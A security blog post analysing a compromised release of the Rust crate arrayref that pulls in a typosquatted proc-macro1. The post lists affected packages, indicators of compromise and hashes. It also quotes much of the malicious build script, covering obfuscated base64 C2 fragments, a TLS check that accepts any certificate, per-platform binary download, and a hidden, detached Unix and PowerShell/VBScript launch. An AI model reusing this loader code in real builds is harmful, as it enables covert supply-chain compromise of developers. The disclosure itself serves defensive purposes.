---
title: "Malicious Rust Crate arrayref Runs a Build-Time Payload"
description: "A compromised release of the popular Rust crate arrayref pulled in a typosquatted proc-macro1 whose build script downloads and runs a remote binary at compile time. The malicious versions are now removed from crates.io."
url: "https://safedep.io/blog/arrayref-proc-macro1-rust-build-time-malware"
author: "SafeDep Team"
published: "2026-08-20"
---

# Malicious Rust Crate arrayref Runs a Build-Time Payload

## Summary

On August 20, 2026, a compromised release of the popular Rust crate `arrayref` appeared on
crates.io. Version 0.3.10 added a dependency on a typosquatted crate called
`proc-macro1`, whose build script downloads and runs a remote binary while a project compiles.
The code runs at build time, so simply compiling a project that pulled the bad versions is enough
to trigger it. The crates.io team has since removed the malicious versions.

## Packages involved

The genuine `arrayref` and `append-only-vec` crates are maintained by `droundy`, whose account
appears to have been compromised. The corresponding GitHub repositories are no longer available.
`github.com/droundy/arrayref`,
`github.com/droundy/append-only-vec`, and the entire `github.com/droundy` account all return 404. A separate account, `dtolney`, published
`proc-macro1`.
The username closely resembles David Tolnay's real `dtolnay` account. Its metadata forges
`authors = ["David Tolnay <rchaitm@gmail.com>"]` and points `repository` at a
`dtolnay/proc-macro1` path that returns 404.

| Crate             | Version      | Publisher                 | Status                                    |
| ----------------- | ------------ | ------------------------- | ----------------------------------------- |
| `arrayref`        | 0.3.10       | `droundy` (compromised)   | Malicious, removed                        |
| `internment`      | 0.8.7        | `droundy` (compromised)   | Malicious, removed                        |
| `append-only-vec` | 0.1.9        | `droundy` (compromised)   | Malicious, removed                        |
| `proc-macro1`     | all versions | `dtolney` (impersonation) | Malicious typosquat, entire crate removed |
| `proc-macro-en`   | all versions |                           | Malicious dependency crate, removed       |
| `aovine`          | all versions |                           | Malicious dependency crate, removed       |
| `arone`           | all versions |                           | Malicious dependency crate, removed       |
| `aronenao`        | all versions |                           | Malicious dependency crate, removed       |
| `tinymember`      | all versions |                           | Malicious dependency crate, removed       |

Note that `proc-macro1` is not `proc-macro2`. The real crate that macro authors depend on is
[`proc-macro2`](https://crates.io/crates/proc-macro2). The `src/` of the malicious `proc-macro1`
is a genuine copy of `proc-macro2`, so builds kept working while the build script ran.

## What the build script does

The payload lives in the build script of `proc-macro1` 1.0.107. It stores its server address as
base64 fragments and reassembles them at build time, quoted in the advisory:

```rust
// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] =
    &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] =
    &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
```

Decoded, those fragments produce the payload host `hxxps://23[.]254[.]165[.]112:9089/` and the
command and control address `23[.]254[.]165[.]112:443`. The script fetches an architecture-specific
binary over a TLS connection that accepts any certificate without validation, then runs it detached
from the build. On Unix it drops and runs `/tmp/rust-setup`. On Windows it writes a PowerShell
script and a VBScript launcher under `%TEMP%` and starts them hidden, then abandons
the child process so the compiler does not wait for it.

## How it spread

The owner account yanked the older `arrayref` releases 0.3.5 through 0.3.9. Yanking a
crate makes Cargo print a "consider updating to a version that is not yanked" warning, which nudges
developers toward the only non-yanked release, the malicious 0.3.10. The reporter who filed the
[RustSec advisory](https://github.com/rustsec/advisory-db/issues/3161) noted this is how they hit
it.

`arrayref` is widely used as a transitive dependency. It sits deep in common Rust graphs through
`tiny-skia`, `sctk-adwaita`, and `winit`, which places it under most GUI work built on egui,
eframe, and iced. The crate has about 245 million all-time downloads (244,989,384 at time of
writing), with the clean 0.3.9 release accounting for roughly 152 million. Those numbers measure
how widely the crate is used rather than a count of affected builds.

## Indicators of compromise

| Type               | Indicator                                        | Detail                               |
| ------------------ | ------------------------------------------------ | ------------------------------------ |
| Network            | `23.254.165.112:9089`                            | Payload host (HTTPS)                 |
| Network            | `23.254.165.112:443`                             | C2, passed to the payload as argv[1] |
| File (Unix)        | `/tmp/rust-setup`                                | Downloaded executable                |
| File (Windows)     | `%TEMP%\rust-setup.ps1`                          | Downloaded PowerShell script         |
| File (Windows)     | `%TEMP%\rust-setup-launch.vbs`                   | VBScript launcher                    |
| Second-stage names | `rust-crate_0.1.0`, `_0.2.0`, `_0.3.0`, `_0.4.0` | Chosen by OS and architecture        |

SHA256 of the removed crate artifacts:

| Artifact              | SHA256                                                             |
| --------------------- | ------------------------------------------------------------------ |
| `arrayref` 0.3.10     | `25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae` |
| `proc-macro1` 1.0.107 | `61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4` |
| `proc-macro1` 1.0.106 | `b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436` |

---

## Part 2: Technical Analysis

Our technical analysis covers the two crates behind this incident, `arrayref` 0.3.10 and
`proc-macro1` 1.0.107. `arrayref` 0.3.10 pulls in a dependency called `proc-macro1`. The malicious
code is in the build script of `proc-macro1`, not in `arrayref` itself.

### The injection point in arrayref

`arrayref` is a small crate of four macros. Up to 0.3.9 it has no build script and no runtime
dependencies. Version 0.3.10 keeps that macro source and adds one line to the manifest:

```toml
# arrayref-0.3.10/Cargo.toml
[package]
name = "arrayref"
version = "0.3.10"
build = false

[dependencies.proc-macro1]
version = "1.0.107"
```

This `[dependencies.proc-macro1]` entry is sufficient to introduce the malicious crate. The requirement `1.0.107` is a caret
range, and with only 1.0.106 and 1.0.107 ever published it resolves to the malicious 1.0.107. The
crate's own `src/lib.rs` is the ordinary macro code, for example the `array_ref!` macro:

```rust
// arrayref-0.3.10/src/lib.rs
#[macro_export]
macro_rules! array_ref {
    ($arr:expr, $offset:expr, $len:expr) => {{
        {
            #[inline]
            const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {
                &*(slice.as_ptr() as *const [_; $len])
            }
            let offset = $offset;
            let slice = &$arr[offset..offset + $len];
            #[allow(unused_unsafe)]
            unsafe {
                as_array(slice)
            }
        }
    }};
}
```

Nothing in the `arrayref` source references `proc-macro1`, and it does not need to. Cargo builds
every declared non-optional dependency, whether or not the code uses it. So the manifest entry alone
makes Cargo fetch and build `proc-macro1` whenever a project pulls in `arrayref` 0.3.10, and building
it runs the malicious build script.

### proc-macro1 is a renamed copy of proc-macro2

The `src/` of `proc-macro1` is proc-macro2 with a mechanical find-and-replace of `proc-macro2` to
`proc-macro1`. The rename reaches into documentation links and even copied issue references, for
example `html_root_url = "https://docs.rs/proc-macro1/1.0.107"` in `src/lib.rs` and a
`github.com/dtolnay/proc-macro1/issues/235` link in `src/fallback.rs`. Because the library code is
real proc-macro2, the crate works as a drop-in. This makes the malicious crate less noticeable
during a normal build.

The package metadata forges an identity:

```toml
# proc-macro1-1.0.107/Cargo.toml
authors = ["David Tolnay <rchaitm@gmail.com>"]
repository = "https://github.com/dtolnay/proc-macro1"
```

The email `rchaitm@gmail.com` is not David Tolnay's, and the `dtolnay/proc-macro1` repository
returns 404. The suspicious difference is in the build dependencies, which real proc-macro2 does not
have:

```toml
# proc-macro1-1.0.107/Cargo.toml
[build-dependencies.base64]
version = "0.22"

[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false

[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false
```

Those three crates give the build script base64 decoding, a TLS stack, and an HTTP client. These
dependencies are unusual for a token-parsing library, and the malicious build script uses them.

### The build script payload

The build script splits the server address into base64 fragments and rebuilds it at compile time, so
the raw string never appears in the source:

```rust
// proc-macro1-1.0.107/build.rs
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
```

Decoded, `SRC_URL_PARTS` is `hxxps://23[.]254[.]165[.]112:9089/` and `END_URL_PARTS` is
`23[.]254[.]165[.]112:443`.

The download uses a TLS client that accepts any certificate. The `AcceptAll` verifier returns
success from every certificate and signature check in the `rustls` `ServerCertVerifier` trait, so a
self-signed certificate on the raw IP passes:

```rust
// proc-macro1-1.0.107/build.rs
impl ServerCertVerifier for AcceptAll {
    fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {
        Ok(ServerCertVerified::assertion())
    }
    // verify_tls12_signature and verify_tls13_signature also return success unconditionally
}
```

The build script picks the binary to fetch by operating system and architecture. It supports four
targets and aborts the build on anything else:

```rust
// proc-macro1-1.0.107/build.rs
fn link_suffix() -> &'static str {
    match (std::env::consts::OS, std::env::consts::ARCH) {
        ("linux", "x86_64") => "rust-crate_0.1.0",
        ("windows", "x86_64") => "rust-crate_0.2.0",
        ("macos", "x86_64") => "rust-crate_0.3.0",
        ("macos", "aarch64") => "rust-crate_0.4.0",
        (_, _) => panic!("unsupported platform"),
    }
}
```

The download and execution run inside `main`, before the feature gate and the genuine proc-macro2
configuration logic that follows. There is no feature flag or environment check guarding it, so it
runs on every build on a supported platform:

```rust
// proc-macro1-1.0.107/build.rs (inside main)
let url = src_download_url();
let bytes = download_bytes(&url);

match std::env::consts::OS {
    "linux" | "macos" => run_unix_payload(bytes),
    "windows" => run_windows_payload(bytes),
    os => panic!("unsupported OS: {os}"),
}
```

On Unix the build script writes the bytes to `/tmp/rust-setup`, marks the file executable, and spawns
it without waiting, passing the command and control address as the first argument. It sends every
standard stream to null:

```rust
// proc-macro1-1.0.107/build.rs
fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}
```

On Windows the fetched bytes are a PowerShell script. The build script writes them to
`%TEMP%\rust-setup.ps1` and starts them through a VBScript launcher under `wscript.exe`, with a
comment in the source explaining why:

```rust
// proc-macro1-1.0.107/build.rs
// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise
// keep the build script (and `cargo build`) waiting until they exit.
let vbs = format!(
    r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
    script = script_path.display(),
    end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
    .args(["//B", "//Nologo", launcher_str])
    .creation_flags(CREATE_NO_WINDOW)
    .spawn()
    .expect("failed to spawn wscript launcher");
std::mem::forget(child);
```

The launcher runs hidden and does not wait for the process. The source comment states that routing
through WScript is what escapes Cargo's job object, so PowerShell keeps running after the build
finishes. The final `std::mem::forget` leaks the `wscript` child handle so its destructor never
runs. Together this detaches the payload from Cargo. This allows the payload to continue without
blocking the Cargo build.
